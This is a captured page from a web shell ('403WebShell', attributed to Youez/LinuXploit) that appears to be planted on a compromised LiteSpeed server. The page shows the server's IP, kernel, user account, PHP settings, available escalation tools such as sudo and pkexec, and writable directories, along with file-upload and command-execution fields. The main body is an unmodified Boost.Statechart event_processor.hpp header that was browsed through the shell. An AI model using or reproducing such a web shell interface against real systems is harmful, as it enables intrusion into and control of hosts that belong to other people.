Done ! 403WebShell
403Webshell
Server IP : 194.181.228.65  /  Your IP : 216.73.216.87
Web Server : LiteSpeed
System : Linux wn13.webd.pl 5.14.0-687.46.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Sep 11 09:03:19 EDT 2026 x86_64
User : prusit ( 133039)
PHP Version : 5.6.40
Disable Function : exec, system, shell_exec, passthru, proc_open, proc_close, popen
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/usr/include/boost/statechart/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/usr/include/boost/statechart/event_processor.hpp
#ifndef BOOST_STATECHART_EVENT_PROCESSOR_INCLUDED
#define BOOST_STATECHART_EVENT_PROCESSOR_INCLUDED
//////////////////////////////////////////////////////////////////////////////
// Copyright 2002-2008 Andreas Huber Doenni
// Distributed under the Boost Software License, Version 1.0. (See accompany-
// ing file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
//////////////////////////////////////////////////////////////////////////////



namespace boost
{
namespace statechart
{


  
class event_base;



//////////////////////////////////////////////////////////////////////////////
template< class Scheduler >
class event_processor
{
  public:
    //////////////////////////////////////////////////////////////////////////
    virtual ~event_processor() {}

    Scheduler & my_scheduler() const
    {
      return myScheduler_;
    }

    typedef typename Scheduler::processor_handle processor_handle;

    processor_handle my_handle() const
    {
      return myHandle_;
    }

    void initiate()
    {
      initiate_impl();
    }

    void process_event( const event_base & evt )
    {
      process_event_impl( evt );
    }

    void terminate()
    {
      terminate_impl();
    }

  protected:
    //////////////////////////////////////////////////////////////////////////
    typedef const typename Scheduler::processor_context & my_context;

    event_processor( my_context ctx ) :
      myScheduler_( ctx.my_scheduler() ),
      myHandle_( ctx.my_handle() )
    {
    }

  private:
    //////////////////////////////////////////////////////////////////////////
    virtual void initiate_impl() = 0;
    virtual void process_event_impl( const event_base & evt ) = 0;
    virtual void terminate_impl() = 0;

    // avoids C4512 (assignment operator could not be generated)
    event_processor & operator=( const event_processor & );

    Scheduler & myScheduler_;
    const processor_handle myHandle_;
};



} // namespace statechart
} // namespace boost



#endif

Youez - 2016 - github.com/yon3zu
LinuXploit